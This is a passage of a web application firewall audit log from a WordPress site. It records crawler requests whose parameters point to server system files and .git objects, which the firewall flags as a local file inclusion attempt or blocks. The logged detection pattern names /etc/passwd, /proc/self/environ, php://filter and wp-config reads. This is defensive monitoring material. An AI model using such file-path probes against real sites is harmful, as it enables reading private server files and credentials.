\"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":366,"p2":8821,"p3":0,"p4":0,"p5":617,"sr":254,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:44:41.392351 +0100","transaction_id":"abOIJ_gQSd_XQ-U0cJw9ZwAAAUE","remote_address":"57.141.20.38","remote_port":37092,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wpconsent-cookies-banner-privacy-suite/wpconsent-cookies-banner-privacy-suite.1.1.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"5166697bc6fd9a3ec247265ea3d0dbeb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5276188"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5166697bc6fd9a3ec247265ea3d0dbeb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wpconsent-cookies-banner-privacy-suite/wpconsent-cookies-banner-privacy-suite.1.1.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":391,"p2":7277,"p3":0,"p4":0,"p5":565,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:44:59.613597 +0100","transaction_id":"abOIO_gQSd_XQ-U0cJw9yQAAAVc","remote_address":"57.141.20.19","remote_port":42194,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/m/mime2a-v HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"43f12be3046346e91f1ef996b06401b5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2492914"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"43f12be3046346e91f1ef996b06401b5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/m/mime2a-v||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":311,"p2":6371,"p3":0,"p4":0,"p5":368,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:45:19.246060 +0100","transaction_id":"abOITiFJ_Ynbc5Nhz1Z_FgAAARY","remote_address":"57.141.20.20","remote_port":54374,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php7.4/include/php/Zend/zend_config.w32.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"05e7334387f6f97d99f7905d777a1791","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5276247"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"05e7334387f6f97d99f7905d777a1791","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.4/include/php/Zend/zend_config.w32.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":297,"p2":6052,"p3":0,"p4":0,"p5":399,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:45:29.194463 +0100","transaction_id":"abOIWVICN_OZQ9wXfc3HigAAAEc","remote_address":"57.141.20.22","remote_port":54334,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/sftproot/htdocs/ptso.jmkconsulting-ci.com/wp-admin/includes/class-theme-upgrader-skin.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"ce0126f91b8414a1ff7da739972a4ca8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6816112"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ce0126f91b8414a1ff7da739972a4ca8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/wp-admin/includes/.*\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"598\"] [id \"430034\"] [msg \"Malware.Expert - request_uri: Wordpress - prevent PHP files from executing\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/organic-products/\"] [unique_id \"abOIWVICN_OZQ9wXfc3HigAAAEc\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/wp-admin/includes/.*\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":322,"p2":5440,"p3":0,"p4":0,"p5":345,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:45:38.719349 +0100","transaction_id":"abOIYlV-TtdTFIIkipU7CgAAAJE","remote_address":"57.141.20.6","remote_port":35122,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/57/ea2f5ed003ded75fbec860a7fd82d4c2a24314 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"a8b8c44e21da53efaaa5aadf479ecc9f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5046905"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a8b8c44e21da53efaaa5aadf479ecc9f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/57/ea2f5ed003ded75fbec860a7fd82d4c2a24314||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":310,"p2":6070,"p3":0,"p4":0,"p5":391,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:45:44.387605 +0100","transaction_id":"abOIZyFJ_Ynbc5Nhz1Z_SQAAARA","remote_address":"57.141.20.6","remote_port":60210,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/02/8010e2b178853732afa58919b000e93ab0e076 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"d325306abdcaaea2a890d9b4a4374bb4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2263198"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d325306abdcaaea2a890d9b4a4374bb4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/02/8010e2b178853732afa58919b000e93ab0e076||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":233,"p2":5603,"p3":0,"p4":0,"p5":342,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:46:00.221551 +0100","transaction_id":"abOIdyFJ_Ynbc5Nhz1Z_cwAAARQ","remote_address":"57.141.20.16","remote_port":48974,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/ef6de3bdcada82737e7ed06954f12b962751bf HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"949d6b4ae179d20161a2b9a050192ac8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6194040"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"949d6b4ae179d20161a2b9a050192ac8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bd/ef6de3bdcada82737e7ed06954f12b962751bf||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":261,"p2":5595,"p3":0,"p4":0,"p5":362,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:46:07.530139 +0100","transaction_id":"abOIf_gQSd_XQ-U0cJw-VwAAAVg","remote_address":"57.141.20.16","remote_port":55034,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/8cdb2160a958c0fa79d818256615d8ab45b7dc HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"39f5fe813e37fa193ee9e6908aad4f8b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6358779"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"39f5fe813e37fa193ee9e6908aad4f8b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/8cdb2160a958c0fa79d818256615d8ab45b7dc||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":353,"p2":5956,"p3":0,"p4":0,"p5":868,"sr":148,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:46:33.687695 +0100","transaction_id":"abOImCFJ_Ynbc5Nhz1Z_owAAAQo","remote_address":"57.141.20.7","remote_port":59132,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/d/d430-unix HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"2320a4ddac353d5343e12c2184530976","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2267"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2320a4ddac353d5343e12c2184530976","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/d430-unix||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":347,"p2":7281,"p3":0,"p4":0,"p5":399,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:47:14.482614 +0100","transaction_id":"abOIwIdmjjYI1SpvwBA3BAAAAAk","remote_address":"114.119.154.67","remote_port":32808,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/183121651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"98764b0d5ba19e67ed09e36c418d9b26","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6489233","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"98764b0d5ba19e67ed09e36c418d9b26","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":374,"p2":7603,"p3":0,"p4":0,"p5":363,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:49:49.028323 +0100","transaction_id":"abOJW1V-TtdTFIIkipU8yAAAAJI","remote_address":"114.119.140.84","remote_port":37518,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/23274751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"3c936d473b3ca212605f4b66c2a19223","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6162566","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"3c936d473b3ca212605f4b66c2a19223","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":248,"p2":4508,"p3":0,"p4":0,"p5":301,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:52:23.734399 +0100","transaction_id":"abOJ9lICN_OZQ9wXfc3JOQAAAFY","remote_address":"114.119.142.37","remote_port":49240,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/69643751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"5654155efab068a9fe821613ccf6887f","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3115144","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"5654155efab068a9fe821613ccf6887f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":382,"p2":6247,"p3":0,"p4":0,"p5":293,"sr":185,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:04:55:43.851324 +0100","transaction_id":"abOKvrmW8D9YFg8ovrf-NAAAANM","remote_address":"114.119.154.203","remote_port":56174,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/136987651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"b61b2329665db57ce8a466d7987c1ba7","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"788508","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, 